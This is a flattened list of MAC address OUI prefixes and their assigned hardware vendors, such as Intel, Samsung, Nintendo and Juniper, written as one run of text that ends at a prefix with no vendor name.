RAPTOR SYSTEMS 001089 WebSonic 001086 ATTO Technology, Inc. 001027 L-3 COMMUNICATIONS EAST 0010B8 ISHIGAKI COMPUTER SYSTEM CO. 00104C Teledyne LeCroy, Inc 001001 Citel 0010CF FIBERLANE COMMUNICATIONS 001068 COMOS TELECOM 001067 Ericsson 0010F1 I-O CORPORATION 001073 TECHNOBOX, INC. 00E0C0 SEIWA ELECTRIC MFG. CO., LTD. 00E046 BENTLY NEVADA CORP. 00E015 HEIWA CORPORATION 00E065 OPTICAL ACCESS INTERNATIONAL 00E069 JAYCOR 00E05C Panasonic Healthcare Co., Ltd. 00E087 LeCroy - Networking Productions Division 00E049 MICROWI ELECTRONIC GmbH 00E050 EXECUTONE INFORMATION SYSTEMS, INC. 00E064 SAMSUNG ELECTRONICS 00E012 PLUTO TECHNOLOGIES INTERNATIONAL INC. 00E0D8 LANBit Computer, Inc. 00E02D InnoMediaLogic, Inc. 00E0A9 FUNAI ELECTRIC CO., LTD. 00E035 Artesyn Embedded Technologies 00E060 SHERWOOD 00E0A2 MICROSLATE INC. 00E0CE ARN 00E05F e-Net, Inc. 00E0C7 EUROTECH SRL 00E0C4 HORNER ELECTRIC, INC. 00E04D INTERNET INITIATIVE JAPAN, INC 00607F AURORA TECHNOLOGIES, INC. 00E039 PARADYNE CORP. 006091 FIRST PACIFIC NETWORKS, INC. 006002 SCREEN SUBTITLING SYSTEMS, LTD 006061 WHISTLE COMMUNICATIONS CORP. 00E0A1 HIMA PAUL HILDEBRANDT GmbH Co. KG 00E028 APTIX CORPORATION 00E0F2 ARLOTTO COMNET, INC. 00E020 TECNOMEN OY 00E0C5 BCOM ELECTRONICS INC. 00E0EE MAREL HF 00E0AC MIDSCO, INC. 00E002 CROSSROADS SYSTEMS, INC. 00E057 HAN MICROTELECOM. CO., LTD. 00E0F0 ABLER TECHNOLOGY, INC. 00E0B7 PI GROUP, LTD. 0010B1 FOR-A CO., LTD. 001041 BRISTOL BABCOCK, INC. 0010F7 IRIICHI TECHNOLOGIES Inc. 0010E6 APPLIED INTELLIGENT SYSTEMS, INC. 00101E MATSUSHITA ELECTRONIC INSTRUMENTS CORP. 0010F2 ANTEC 0010BE MARCH NETWORKS CORPORATION 006058 COPPER MOUNTAIN COMMUNICATIONS, INC. 00601B MESA ELECTRONICS 0060FF QuVis, Inc. 006056 NETWORK TOOLS, INC. 0060D8 ELMIC SYSTEMS, INC. 00607A DVS GMBH 006097 3COM CORPORATION 0060E3 ARBIN INSTRUMENTS 00E0FD A-TREND TECHNOLOGY CO., LTD. 00E0FB LEIGHTRONIX, INC. 00E0D3 DATENTECHNIK GmbH 00E05E JAPAN AVIATION ELECTRONICS INDUSTRY, LTD. 00E0E5 CINCO NETWORKS, INC. 00A0FD SCITEX DIGITAL PRINTING, INC. 00A0F5 RADGUARD LTD. 00A022 CENTRE FOR DEVELOPMENT OF ADVANCED COMPUTING 00A087 Microsemi Corporation 00A007 APEXX TECHNOLOGY, INC. 00A066 ISA CO., LTD. 00A0AB NETCS INFORMATIONSTECHNIK GMBH 00A0D8 SPECTRA - TEK 00A01A BINAR ELEKTRONIK AB 00A0E8 REUTERS HOLDINGS PLC 00A076 CARDWARE LAB, INC. 00A0A3 RELIABLE POWER METERS 00A055 Data Device Corporation 00A065 Symantec Corporation 00A044 NTT IT CO., LTD. 006008 3COM CORPORATION 0060EF FLYTECH TECHNOLOGY CO., LTD. 006098 HT COMMUNICATIONS 0060F7 DATAFUSION SYSTEMS 0060DE Kayser-Threde GmbH 0060D0 SNMP RESEARCH INCORPORATED 006079 Mainstream Data, Inc. 006020 PIVOTAL NETWORKING, INC. 0005A8 WYLE ELECTRONICS 0060B7 CHANNELMATIC, INC. 0060A3 CONTINUUM TECHNOLOGY CORP. 006050 INTERNIX INC. 0060E0 AXIOM TECHNOLOGY CO., LTD. 0060A8 TIDOMAT AB 00A056 MICROPROSS 00A051 ANGIA COMMUNICATIONS. INC. 00A0A6 M.I. SYSTEMS, K.K. 00A05F BTG Electronics Design BV 00A094 COMSAT CORPORATION 00A010 SYSLOGIC DATENTECHNIK AG 00A063 JRL SYSTEMS, INC. 00A08F DESKNET SYSTEMS, INC. 00A0CC LITE-ON COMMUNICATIONS, INC. 00A090 TimeStep Corporation 00A0F7 V.I COMPUTER CORP. 00A09C Xyplex, Inc. 00A092 H. BOLLMANN MANUFACTURERS, LTD 00A04D EDA INSTRUMENTS, INC. 00A0DB FISHER & PAYKEL PRODUCTION 00A0A5 TEKNOR MICROSYSTEME, INC. 00A018 CREATIVE CONTROLLERS, INC. 00A09F COMMVISION CORP. 00A06B DMS DORSCH MIKROSYSTEM GMBH 006051 QUALITY SEMICONDUCTOR 00605E LIBERTY TECHNOLOGY NETWORKING 0060C6 DCS AG 00609E ASC X3 - INFORMATION TECHNOLOGY STANDARDS SECRETARIATS 006084 DIGITAL VIDEO 00602D ALERTON TECHNOLOGIES, INC. 006093 VARIAN 0060E2 QUEST ENGINEERING & DEVELOPMENT 00A039 ROSS TECHNOLOGY, INC. 00A06D MANNESMANN TALLY CORPORATION 00608E HE ELECTRONICS, TECHNOLOGIE & SYSTEMTECHNIK GmbH 0060F0 JOHNSON & JOHNSON MEDICAL, INC 0060D2 LUCENT TECHNOLOGIES TAIWAN TELECOMMUNICATIONS CO., LTD. 006077 PRISA NETWORKS 0060AB LARSCOM INCORPORATED 0060E9 ATOP TECHNOLOGIES, INC. 00608B ConferTech International 0060C3 NETVISION CORPORATION 00A0A0 COMPACT DATA, LTD. 00A024 3COM CORPORATION 00A08B ASTON ELECTRONIC DESIGNS LTD. 00A0AA SPACELABS MEDICAL 00A04F AMERITEC CORP. 00A073 COM21, INC. 00A084 Dataplex Pty Ltd 00A034 AXEL 00C0BC TELECOM AUSTRALIA/CSSC 00C0EF ABIT CORPORATION 00C03C TOWER TECH S.R.L. 00C061 SOLECTEK CORPORATION 00C074 TOYODA AUTOMATIC LOOM 00C07F NUPON COMPUTING CORP. 00C027 CIPHER SYSTEMS, INC. 00C025 DATAPRODUCTS CORPORATION 00C022 LASERMASTER TECHNOLOGIES, INC. 00C0E6 Verilink Corporation 00C05C ELONEX PLC 00C0C1 QUAD/GRAPHICS, INC. 00C091 JABIL CIRCUIT, INC. 00C0F5 METACOMP, INC. 00C042 DATALUX CORP. 00C089 TELINDUS DISTRIBUTION 00C09D DISTRIBUTED SYSTEMS INT'L, INC 00C0A5 DICKENS DATA SYSTEMS 00C0E3 OSITECH COMMUNICATIONS, INC. 00C071 AREANEX COMMUNICATIONS, INC. 00C0AF TEKLOGIX INC. 00209F MERCURY COMPUTER SYSTEMS, INC. 0020B7 NAMAQUA COMPUTERWARE 00201B NORTHERN TELECOM/NETWORK 0020C0 PULSE ELECTRONICS, INC. 00208D CMD TECHNOLOGY 0020DD Cybertec Pty Ltd 0020BD NIOBRARA R & D CORPORATION 0020E6 LIDKOPING MACHINE TOOLS AB 002047 STEINBRECHER CORP. 0020B5 YASKAWA ELECTRIC CORPORATION 002072 WORKLINK INNOVATIONS 0020B8 PRIME OPTION, INC. 002092 CHESS ENGINEERING B.V. 0020B9 METRICOM, INC. 00206B KONICA MINOLTA HOLDINGS, INC. 0020FC MATROX 00C003 GLOBALNET COMMUNICATIONS 00C0C3 ACUSON COMPUTED SONOGRAPHY 00C04D MITEC, INC. 00C055 MODULAR COMPUTING TECHNOLOGIES 00C067 UNITED BARCODE INDUSTRIES 00C0B4 MYSON TECHNOLOGY, INC. 00C080 NETSTAR, INC. 00C015 NEW MEDIA CORPORATION 0070B3 DATA RECALL LTD. 00E6D3 NIXDORF COMPUTER CORP. 00C083 TRACE MOUNTAIN PRODUCTS, INC. 00C005 LIVINGSTON ENTERPRISES, INC. 00C0C8 MICRO BYTE PTY. LTD. 00C090 PRAIM S.R.L. 00C011 INTERACTIVE COMPUTING DEVICES 00C0FD PROSUM 00C041 DIGITAL TRANSMISSION SYSTEMS 00C00F QUANTUM SOFTWARE SYSTEMS LTD. 00C076 I-DATA INTERNATIONAL A-S 00C0C6 PERSONAL MEDIA CORP. 00C03B MULTIACCESS COMPUTING CORP. 0020F4 SPECTRIX CORPORATION 00204E NETWORK SECURITY SYSTEMS, INC. 002027 MING FORTUNE INDUSTRY CO., LTD 0020ED GIGA-BYTE TECHNOLOGY CO., LTD. 002096 Invensys 0020BB ZAX CORPORATION 00204D INOVIS GMBH 002089 T3PLUS NETWORKING, INC. 00205F GAMMADATA COMPUTER GMBH 002035 IBM Corp 0020E2 INFORMATION RESOURCE ENGINEERING 002058 ALLIED SIGNAL INC. 002081 TITAN ELECTRONICS 00201D KATANA PRODUCTS 0020CF TEST & MEASUREMENT SYSTEMS INC 002043 NEURON COMPANY LIMITED 002018 CIS TECHNOLOGY INC. 002031 Tattile SRL 0020DE JAPAN DIGITAL LABORAT'Y CO.LTD 0020F7 CYBERDATA CORPORATION 0020EE GTECH CORPORATION 00208C GALAXY NETWORKS, INC. 002063 WIPRO INFOTECH LTD. 0020DC DENSITRON TAIWAN LTD. 002078 RUNTOP, INC. 002042 DATAMETRICS CORP. 0020F8 CARRERA COMPUTERS, INC. 00200C ADASTRA SYSTEMS CORP. 0020C4 INET,INC. 00C099 YOSHIKI INDUSTRIAL CO.,LTD. 00C0FC ELASTIC REALITY, INC. 00C0D0 RATOC SYSTEM INC. 00C07A PRIVA B.V. 000701 RACAL-DATACOM 00C09C HIOKI E.E. CORPORATION 00C004 JAPAN BUSINESS COMPUTER CO.LTD 00C062 IMPULSE TECHNOLOGY 000267 NODE RUNNER, INC. 002064 PROTEC MICROSYSTEMS, INC. 002032 ALCATEL TAISEL 00207F KYOEI SANGYO CO., LTD. 002077 KARDIOS SYSTEMS CORP. 002068 ISDYNE 00202A N.V. DZINE 008006 COMPUADD CORPORATION 0080EF RATIONAL 0080C4 DOCUMENT TECHNOLOGIES, INC. 008095 BASIC MERTON HANDELSGES.M.B.H. 008053 INTELLICOM, INC. 008026 NETWORK PRODUCTS CORPORATION 0080FE AZURE TECHNOLOGIES, INC. 008028 TRADPOST (HK) LTD 0080C0 PENRIL DATACOMM 0080F5 Quantel Ltd 00401D INVISIBLE SOFTWARE, INC. 0040BD STARLIGHT NETWORKS, INC. 00406D LANCO, INC. 00404D TELECOMMUNICATIONS TECHNIQUES 0040A5 CLINICOMP INTL. 004059 YOSHIDA KOGYO K. K. 004021 RASTER GRAPHICS 004081 MANNESMANN SCANGRAPHIC GMBH 00404A WEST AUSTRALIAN DEPARTMENT 00400A PIVOTAL TECHNOLOGIES, INC. 004032 DIGITAL COMMUNICATIONS 004042 N.A.T. GMBH 0040C2 APPLIED COMPUTING DEVICES 00403C FORKS, INC. 0040C4 KINKEI SYSTEM CORPORATION 0040D1 FUKUDA DENSHI CO., LTD. 004024 COMPAC INC. 0040B6 COMPUTERMCORPORATION 00403F SSANGYONG COMPUTER SYSTEMS 004003 Emerson Process Management Power & Water Solutions, Inc. 004090 ANSEL COMMUNICATIONS 00409A NETWORK EXPRESS, INC. 0040DE Elsag Datamat spa 004063 VIA TECHNOLOGIES, INC. 00406C COPERNIQUE 0040DF DIGALOG SYSTEMS, INC. 004015 ASCOM INFRASYS AG 008056 SPHINX Electronics GmbH & Co KG 008060 NETWORK INTERFACE CORPORATION 00805E LSI LOGIC CORPORATION 008093 XYRON CORPORATION 00C05D L&N TECHNOLOGIES 00C0E4 SIEMENS BUILDING 00C01B SOCKET COMMUNICATIONS, INC. 00C06E HAFT TECHNOLOGY, INC. 00406F SYNC RESEARCH INC. 00401F COLORGRAPH LTD 0040CF STRAWBERRY TREE, INC. 0040F7 Polaroid Corporation 004037 SEA-ILAN, INC. 0040CC SILCOM MANUF'G TECHNOLOGY INC. 004052 STAR TECHNOLOGIES, INC. 00407A SOCIETE D'EXPLOITATION DU CNIT 004089 MEIDENSHA CORPORATION 00405A GOLDSTAR INFORMATION & COMM. 00404C HYPERTEC PTY LTD. 00C0CB CONTROL TECHNOLOGY CORPORATION 00C09A PHOTONICS CORPORATION 00C01A COROMETRICS MEDICAL SYSTEMS 00404B MAPLE COMPUTER SYSTEMS 004055 METRONIX GMBH 004045 TWINHEAD CORPORATION 00401A FUJI ELECTRIC CO., LTD. 0040B9 MACQ ELECTRONIQUE SA 0040C7 RUBY TECH CORPORATION 004004 ICM CO. LTD. 004070 INTERWARE CO., LTD. 008057 ADSOFT, LTD. 00807A AITECH SYSTEMS LTD. 0080AA MAXPEED 00C0E7 FIBERDATA AB 00800A JAPAN COMPUTER CORP. 00806E NIPPON STEEL CORPORATION 008010 COMMODORE INTERNATIONAL 0080DA Bruel & Kjaer Sound & Vibration Measurement A/S 0080BC HITACHI ENGINEERING CO., LTD 008000 MULTITECH SYSTEMS, INC. 0080A1 MICROTEST, INC. 0080D0 COMPUTER PERIPHERALS, INC. 00807D EQUINOX SYSTEMS INC. 008063 Hirschmann Automation and Control GmbH 00608C 3COM CORPORATION 00804E APEX COMPUTER COMPANY 00800E ATLANTIX CORPORATION 00806F ONELAN LTD. 008098 TDK CORPORATION 00809C LUXCOM, INC. 008065 CYBERGRAPHIC SYSTEMS PTY LTD. 008016 WANDEL AND GOLTERMANN 0080E6 PEER NETWORKS, INC. 0080A2 CREATIVE ELECTRONIC SYSTEMS 0080E0 XTP SYSTEMS, INC. 008050 ZIATECH CORPORATION 0000E0 QUADRAM CORP. 000057 SCITEX CORPORATION LTD. 0000D6 PUNCH LINE HOLDING 0000C8 ALTOS COMPUTER SYSTEMS 000098 CROSSCOMM CORPORATION 00007D Oracle Corporation 0000A2 Bay Networks 000038 CSS LABS 000061 GATEWAY COMMUNICATIONS 000043 MICRO TECHNOLOGY 0000E7 Star Gate Technologies 0000F3 GANDALF DATA LIMITED 00002C AUTOTOTE LIMITED 00002A TRW - SEDD/INP 0000F1 MAGNA COMPUTER CORPORATION 000083 TADPOLE TECHNOLOGY PLC 000020 DATAINDUSTRIER DIAB AB 00007A DANA COMPUTER INC. 00007C AMPERE INCORPORATED 00008A DATAHOUSE INFORMATION SYSTEMS 000068 ROSEMOUNT CONTROLS 0000DF BELL & HOWELL PUB SYS DIV 000062 BULL HN INFORMATION SYSTEMS 0000AD BRUKER INSTRUMENTS INC. 0000D0 DEVELCON ELECTRONICS LTD. 000093 PROTEON INC. 008008 DYNATECH COMPUTER SYSTEMS 0080FF SOC. DE TELEINFORMATIQUE RTC 000070 HCL LIMITED 00008E SOLBOURNE COMPUTER, INC. 0000DC HAYES MICROCOMPUTER PRODUCTS 000024 CONNECT AS 008030 NEXUS ELECTRONICS 008022 SCAN-OPTICS 000041 ICE CORPORATION 00001E TELSIST INDUSTRIA ELECTRONICA 00807B ARTEL COMMUNICATIONS CORP. 00802E CASTLE ROCK COMPUTING 0080F9 HEURIKON CORPORATION 008005 CACTUS COMPUTER INC. 00801D INTEGRATED INFERENCE MACHINES 008015 SEIKO SYSTEMS, INC. 008034 SMT GOUPIL 0080C9 ALBERTA MICROELECTRONIC CENTRE 00800B CSK CORPORATION 000016 DU PONT PIXEL SYSTEMS . 00005C TELEMATICS INTERNATIONAL INC. 0000AC CONWARE COMPUTER CONSULTING 0000F2 SPIDER COMMUNICATIONS 000030 VG LABORATORY SYSTEMS LTD 000035 SPECTRAGRAPHICS CORPORATION 020701 RACAL-DATACOM 080011 TEKTRONIX INC. 080040 FERRANTI COMPUTER SYS. LIMITED 08003B TORUS SYSTEMS LIMITED 08003D CADNETIX CORPORATIONS 080039 SPIDER SYSTEMS LIMITED 080030 NETWORK RESEARCH CORPORATION 00009B INFORMATION INTERNATIONAL, INC 00DD0F UNGERMANN-BASS INC. 000001 XEROX CORPORATION 080021 3M COMPANY AA0004 DIGITAL EQUIPMENT CORPORATION 08000C MIKLYN DEVELOPMENT CO. 00DD08 UNGERMANN-BASS INC. 0000A0 SANYO Electric Co., Ltd. 08007F CARNEGIE-MELLON UNIVERSITY 080082 VERITAS SOFTWARE 08007B SANYO ELECTRIC CO. LTD. 00DD0C UNGERMANN-BASS INC. 000005 XEROX CORPORATION 0000AA XEROX CORPORATION 00406B SYSGEN AA0001 DIGITAL EQUIPMENT CORPORATION 080001 COMPUTERVISION CORPORATION 000053 COMPUCORP 08004B Planning Research Corp. 080003 ADVANCED COMPUTER COMM. 080074 CASIO COMPUTER CO. LTD. 08005E COUNTERPOINT COMPUTER INC. 08005A IBM Corp 080056 STANFORD LINEAR ACCEL. CENTER 080053 MIDDLE EAST TECH. UNIVERSITY 08004F CYGNET SYSTEMS 00194B Sagemcom Broadband SAS 001F95 Sagemcom Broadband SAS 000E59 Sagemcom Broadband SAS A01B29 Sagemcom Broadband SAS 90013B Sagemcom Broadband SAS 00235A COMPAL INFORMATION (KUNSHAN) CO., LTD. 001B38 COMPAL INFORMATION (KUNSHAN) CO., LTD. E46F13 D-Link International 94C150 2Wire Inc 60FE20 2Wire Inc 989096 Dell Inc. B82A72 Dell Inc. 00D09E 2Wire Inc 000D72 2Wire Inc 000F1F Dell Inc. 14FEB5 Dell Inc. 0015C5 Dell Inc. D4AE52 Dell Inc. B0E754 2Wire Inc B8E625 2Wire Inc 549F35 Dell Inc. 64006A Dell Inc. B4E10F Dell Inc. 0023AE Dell Inc. 9CD917 Motorola Mobility LLC, a Lenovo Company 9068C3 Motorola Mobility LLC, a Lenovo Company 408805 Motorola Mobility LLC, a Lenovo Company AC2B6E Intel Corporate F8F1B6 Motorola Mobility LLC, a Lenovo Company 00216A Intel Corporate 001E64 Intel Corporate 0016EB Intel Corporate 0018DE Intel Corporate 681729 Intel Corporate 5C514F Intel Corporate B808CF Intel Corporate C8F733 Intel Corporate 4851B7 Intel Corporate 5CC5D4 Intel Corporate 7CCCB8 Intel Corporate F40669 Intel Corporate 3CA9F4 Intel Corporate 28B2BD Intel Corporate 08D40C Intel Corporate 843A4B Intel Corporate 0CD292 Intel Corporate 78929C Intel Corporate 6805CA Intel Corporate ACA31E Aruba Networks 9C1C12 Aruba Networks 001A1E Aruba Networks 28C2DD AzureWave Technology Inc. 84D47E Aruba Networks A85840 Cambridge Industries(Group) Co.,Ltd. 002243 AzureWave Technology Inc. 74F06D AzureWave Technology Inc. 44D832 AzureWave Technology Inc. 781881 AzureWave Technology Inc. B0EE45 AzureWave Technology Inc. 240A64 AzureWave Technology Inc. D0E782 AzureWave Technology Inc. 0C4C39 MitraStar Technology Corp. 002423 AzureWave Technologies (Shanghai) Inc. A81D16 AzureWave Technology Inc. 38A53C COMECER Netherlands 001D8B ADB Broadband Italia A4526F ADB Broadband Italia 581243 AcSiP Technology Corp. 0026B8 Actiontec Electronics, Inc 0030F1 Accton Technology Corp 001974 16063 ECF00E AboCom 3039F2 ADB Broadband Italia 000827 ADB Broadband Italia 9097D5 Espressif Inc. 18FE34 Espressif Inc. 54F6C5 FUJIAN STAR-NET COMMUNICATION CO.,LTD 5C338E Alpha Networks Inc. 001AEB Allied Telesis R&D Center K.K. A43111 ZIV 5C93A2 Liteon Technology Corporation E8C74F Liteon Technology Corporation E8F724 Hewlett Packard Enterprise 701A04 Liteon Technology Corporation 48D224 Liteon Technology Corporation 2CD05A Liteon Technology Corporation 74E543 Liteon Technology Corporation A4DB30 Liteon Technology Corporation B8EE65 Liteon Technology Corporation 001DBA Sony Corporation 78843C Sony Corporation 04E676 AMPAK Technology, Inc. 0022F4 AMPAK Technology, Inc. 080046 Sony Corporation 000D92 ARIMA Communications Corp. 009096 ASKEY COMPUTER CORP 0011F5 ASKEY COMPUTER CORP DCD87C Beijing Jingdong Century Trading Co., LTD. 001C4A AVM GmbH 000B6A Asiarock Technology Limited 40BA61 ARIMA Communications Corp. 1883BF Arcadyan Technology Corporation 9C80DF Arcadyan Technology Corporation 001CCC BlackBerry RTS 94EBCD BlackBerry RTS 644FB0 Hyunjin.com 001A2A Arcadyan Technology Corporation 001D19 Arcadyan Technology Corporation 88252C Arcadyan Technology Corporation A4E4B8 BlackBerry RTS 58671A Barnes&Noble BC0543 AVM GmbH 002675 Aztech Electronics Pte Ltd 001F3F AVM GmbH 0020D6 Breezecom, Ltd. 001018 Broadcom 001BE9 Broadcom 008077 Brother industries, LTD. 029D8E CARDIAC RECORDERS, INC. FC2F40 Calxeda, Inc. 0026E4 Canal + 389496 Samsung Electronics Co.,Ltd 0CB319 Samsung Electronics Co.,Ltd 08EE8B Samsung Electronics Co.,Ltd A89FBA Samsung Electronics Co.,Ltd FC1910 Samsung Electronics Co.,Ltd 083D88 Samsung Electronics Co.,Ltd 5C2E59 Samsung Electronics Co.,Ltd 646CB2 Samsung Electronics Co.,Ltd F884F2 Samsung Electronics Co.,Ltd 14B484 Samsung Electronics Co.,Ltd 608F5C Samsung Electronics Co.,Ltd 4CBCA5 Samsung Electronics Co.,Ltd 78595E Samsung Electronics Co.,Ltd B0D09C Samsung Electronics Co.,Ltd 4CA56D Samsung Electronics Co.,Ltd A48431 Samsung Electronics Co.,Ltd E4F8EF Samsung Electronics Co.,Ltd 1432D1 Samsung Electronics Co.,Ltd E458E7 Samsung Electronics Co.,Ltd 8CBFA6 Samsung Electronics Co.,Ltd 7840E4 Samsung Electronics Co.,Ltd 9000DB Samsung Electronics Co.,Ltd 183A2D Samsung Electronics Co.,Ltd 08373D Samsung Electronics Co.,Ltd 50F520 Samsung Electronics Co.,Ltd A4EBD3 Samsung Electronics Co.,Ltd 28987B Samsung Electronics Co.,Ltd F40E22 Samsung Electronics Co.,Ltd 9C3AAF Samsung Electronics Co.,Ltd BCF2AF devolo AG 0270B3 DATA RECALL LTD. 000FF6 DARFON LIGHTING CORP 702559 CyberTAN Technology Inc. 0090D6 Crystal Group, Inc. 001DAA DrayTek Corp. 02CF1C Communication Machinery Corporation 0C75BD Cisco Systems, Inc 38F0C8 Livestream 0C1167 Cisco Systems, Inc 001982 SmarDTV 10C6FC Garmin International 00E000 FUJITSU LIMITED 00000E FUJITSU LIMITED 002326 FUJITSU LIMITED 0007CB FREEBOX SAS 3C591E TCL King Electrical Appliances (Huizhou) Co., Ltd 002682 Gemtek Technology Co., Ltd. 001A73 Gemtek Technology Co., Ltd. 00904B Gemtek Technology Co., Ltd. D86BF7 Nintendo Co., Ltd. A4C0E1 Nintendo Co., Ltd. 34AF2C Nintendo Co., Ltd. 8CCDE8 Nintendo Co., Ltd. 9CE635 Nintendo Co., Ltd. 600194 Espressif Inc. F44D17 GOLDCARD HIGH-TECH CO.,LTD. 001E35 Nintendo Co., Ltd. 001FC5 Nintendo Co., Ltd. 0021BD Nintendo Co., Ltd. 002709 Nintendo Co., Ltd. E84ECE Nintendo Co., Ltd. 0009BF Nintendo Co., Ltd. 001AE9 Nintendo Co., Ltd. 001CBE Nintendo Co., Ltd. 002403 Nokia Danmark A/S 002265 Nokia Danmark A/S 0019B7 Nokia Danmark A/S 002404 Nokia Danmark A/S 0002EE Nokia Danmark A/S 001C9A Nokia Danmark A/S 001F01 Nokia Danmark A/S 000EED Nokia Danmark A/S 001E3A Nokia Danmark A/S 001A89 Nokia Danmark A/S 0021AA Nokia Danmark A/S 002669 Nokia Danmark A/S 0022FD Nokia Danmark A/S 002109 Nokia Danmark A/S 002108 Nokia Danmark A/S 001D6E Nokia Danmark A/S 001B33 Nokia Danmark A/S ECF35B Nokia Corporation EC9B5B Nokia Corporation BCC6DB Nokia Corporation B83241 Wuhan Tianyu Information Industry Co., Ltd. 9897D1 MitraStar Technology Corp. 94C960 Zhongshan B&T technology.co.,ltd 001479 NEC Magnus Communications,Ltd. 0821EF Samsung Electronics Co.,Ltd A0CBFD Samsung Electronics Co.,Ltd 34145F Samsung Electronics Co.,Ltd B462AD Elysia Germany GmbH 747818 Jurumani Solutions 803896 SHARP Corporation 80D160 Integrated Device Technology (Malaysia) Sdn. Bhd. 686E23 Wi3 Inc. B8A175 Roku, Inc. 0080E5 NetApp 002340 MiXTelematics 00AF1F Cisco Systems, Inc 4CCC6A Micro-Star INTL CO., LTD. 985BB0 KMDATA INC. 6C8FB5 Microsoft Mobile Oy 245EBE QNAP Systems, Inc. A89352 SHANGHAI ZHONGMI COMMUNICATION TECHNOLOGY CO.,LTD AC5F3E SAMSUNG ELECTRO-MECHANICS(THAILAND) 70661B Sonova AG 1C98EC Hewlett Packard Enterprise 9C9D5D Raden Inc E8FD72 SHANGHAI LINGUO TECHNOLOGY CO., LTD. 98BB1E BYD Precision Manufacture Company Ltd. EC438B YAPTV 1866DA Dell Inc. 981FB1 Shenzhen Lemon Network Technology Co.,Ltd 40476A AG Acquisition Corp. d.b.a. ASTRO Gaming A4BF01 Intel Corporate 509EA7 Samsung Electronics Co.,Ltd DCCF96 Samsung Electronics Co.,Ltd 0004C6 YAMAHA MOTOR CO.,LTD 14D11F HUAWEI TECHNOLOGIES CO.,LTD 54511B HUAWEI TECHNOLOGIES CO.,LTD 68536C SPnS Co.,Ltd 005BA1 shanghai huayuan chuangxin software CO., LTD. B07E70 Zadara Storage Ltd. 405EE1 Shenzhen H&T Intelligent Control Co.,Ltd. 10F005 Intel Corporate D463FE Arcadyan Corporation 9466E7 WOM Engineering F8A188 LED Roadway Lighting 001174Mojo Networks, Inc. BC15AC Vodafone Italia S.p.A. 140C5B PLNetworks D0B0CD Moen 0071C2 PEGATRON CORPORATION DCFE07 PEGATRON CORPORATION E47E66 HUAWEI TECHNOLOGIES CO.,LTD 9C741A HUAWEI TECHNOLOGIES CO.,LTD EC93ED DDoS-Guard LTD 4C72B9 PEGATRON CORPORATION F462D0 Not for Radio, LLC 94513D iSmart Alarm, Inc. C89CDC Elitegroup Computer Systems Co.,Ltd. 002511 Elitegroup Computer Systems Co.,Ltd. 000E03 Emulex Corporation 001BB9 Elitegroup Computer Systems Co.,Ltd. 001921 Elitegroup Computer Systems Co.,Ltd. 00142A Elitegroup Computer Systems Co.,Ltd. 0001F4 Enterasys 487ADA Hangzhou H3C Technologies Co., Limited 1C7370 Neotech 200A5E Xiangshan Giant Eagle Technology Developing Co., Ltd. 30E37A Intel Corporate 4CA003 T-21 Technologies LLC F0EE58 PACE Telematics GmbH A08CFD Hewlett Packard 4000E0 Derek(Shaoguan)Limited 001397 Oracle Corporation 00A0A4 Oracle Corporation A4E597 Gessler GmbH 0024F4 Kaminario, Ltd. 001D08 Jiangsu YinheElectronics Co.,Ltd. 0018D7 JAVAD GNSS, Inc. 001C6C 30805 00A0B0 I-O DATA DEVICE, INC. 00E0CF INTEGRATED DEVICE 547F54 INGENICO 48C049 Broad Telecom SA DC38E1 Juniper Networks 40A677 Juniper Networks 0C8610 Juniper Networks EC3EF7 Juniper Networks 0014F6 Juniper Networks 00121E Juniper Networks 0010DB Juniper Networks 307C5E Juniper Networks 841888 Juniper Networks 40B4F0 Juniper Networks 002688 Juniper Networks 0017CB Juniper Networks E0A3AC HUAWEI TECHNOLOGIES CO.,LTD E00EDA Cisco Systems, Inc 6C2483 Microsoft Mobile Oy 848319 Hangzhou Zero Zero Technology Co., Ltd. 001F20 Logitech Europe SA 882012 LMI Technologies 002382 Lih Rong electronic Enterprise Co., Ltd. 88795B Konka Group Co., Ltd. 001A34 Konka Group Co., Ltd. 20A90E TCT mobile ltd 8C99E6 TCT mobile ltd 745C9F TCT mobile ltd 0CBD51 TCT mobile ltd E42D02 TCT mobile ltd 3CE5A6 Hangzhou H3C Technologies Co., Limited 3C8C40 Hangzhou H3C Technologies Co., Limited B04519 TCT mobile ltd A81559 Breathometer, Inc. C09727 SAMSUNG ELECTRO-MECHANICS(THAILAND) 2C5A8D SYSTRONIK Elektronik u. Systemtechnik GmbH 8C897A AUGTEK 54EDA3 Navdy, Inc. 046565 Testop 042758 HUAWEI TECHNOLOGIES CO.,LTD 3C92DC Octopod Technology Co. Ltd. 6038E0 Belkin International Inc. F0FDA0 Acurix Networks Pty Ltd 3876D1 Euronda SpA C48F07 Shenzhen Yihao Hulian Science and Technology Co., Ltd. 009E1E Cisco Systems, Inc 002550 Riverbed Technology, Inc. D85B2A Samsung Electronics Co.,Ltd ACC33A Samsung Electronics Co.,Ltd F45B73 Wanjiaan Interconnected Technology Co., Ltd 0021E2 visago Systems & Controls GmbH & Co. KG 28F10E Dell Inc. C4A366 zte corporation 0014B4 General Dynamics United Kingdom Ltd A0B437GD Mission Systems 5052D2 Hangzhou Telin Technologies Co., Limited 1CD6BD LEEDARSON LIGHTING CO., LTD. 9CDD1F Intelligent Steward Co.,Ltd 00EBD5 Cisco Systems, Inc 1C7B23 Qingdao Hisense Communications Co.,Ltd. 90CF7D Qingdao Hisense Communications Co.,Ltd. F8F082 NAG LLC 40F413 Rubezh 2C094D Raptor Engineering, LLC 88797E Motorola Mobility LLC, a Lenovo Company 40C729 Sagemcom Broadband SAS AC040B Peloton Interactive, Inc 006074 QSC LLC 34ED0BShanghai XZ-COM.CO.,Ltd. 0010C1 OI ELECTRIC CO.,LTD 4432C8 Technicolor CH USA Inc. E0885D Technicolor CH USA Inc. 802994 Technicolor CH USA Inc. 206A8A Wistron Infocomm (Zhongshan) Corporation F0DEF1 Wistron Infocomm (Zhongshan) Corporation F80F41 Wistron Infocomm (Zhongshan) Corporation 94DF4E Wistron InfoComm(Kunshan)Co.,Ltd. 48A9D2 Wistron Neweb Corporation 683E34 MEIZU Technology Co., Ltd. 001EC0 Microchip Technology Inc. 3C0771 Sony Corporation D8D43C Sony Corporation 00A012 Telco Systems, Inc. 94611E Wata Electronics Co.,Ltd. 5CA86A HUAWEI TECHNOLOGIES CO.,LTD 000A68 Solarflare Communications Inc 0CD502 Westell Technologies Inc. 001636 QUANTA COMPUTER INC. 00C09F QUANTA COMPUTER INC. 54AB3A QUANTA COMPUTER INC. 089E01 QUANTA COMPUTER INC. 00199D Vizio, Inc 6C0B84 Universal Global Scientific Industrial Co., Ltd. E4509A HW Communications Ltd 702900 Shenzhen ChipTrip Technology Co,Ltd 204C03 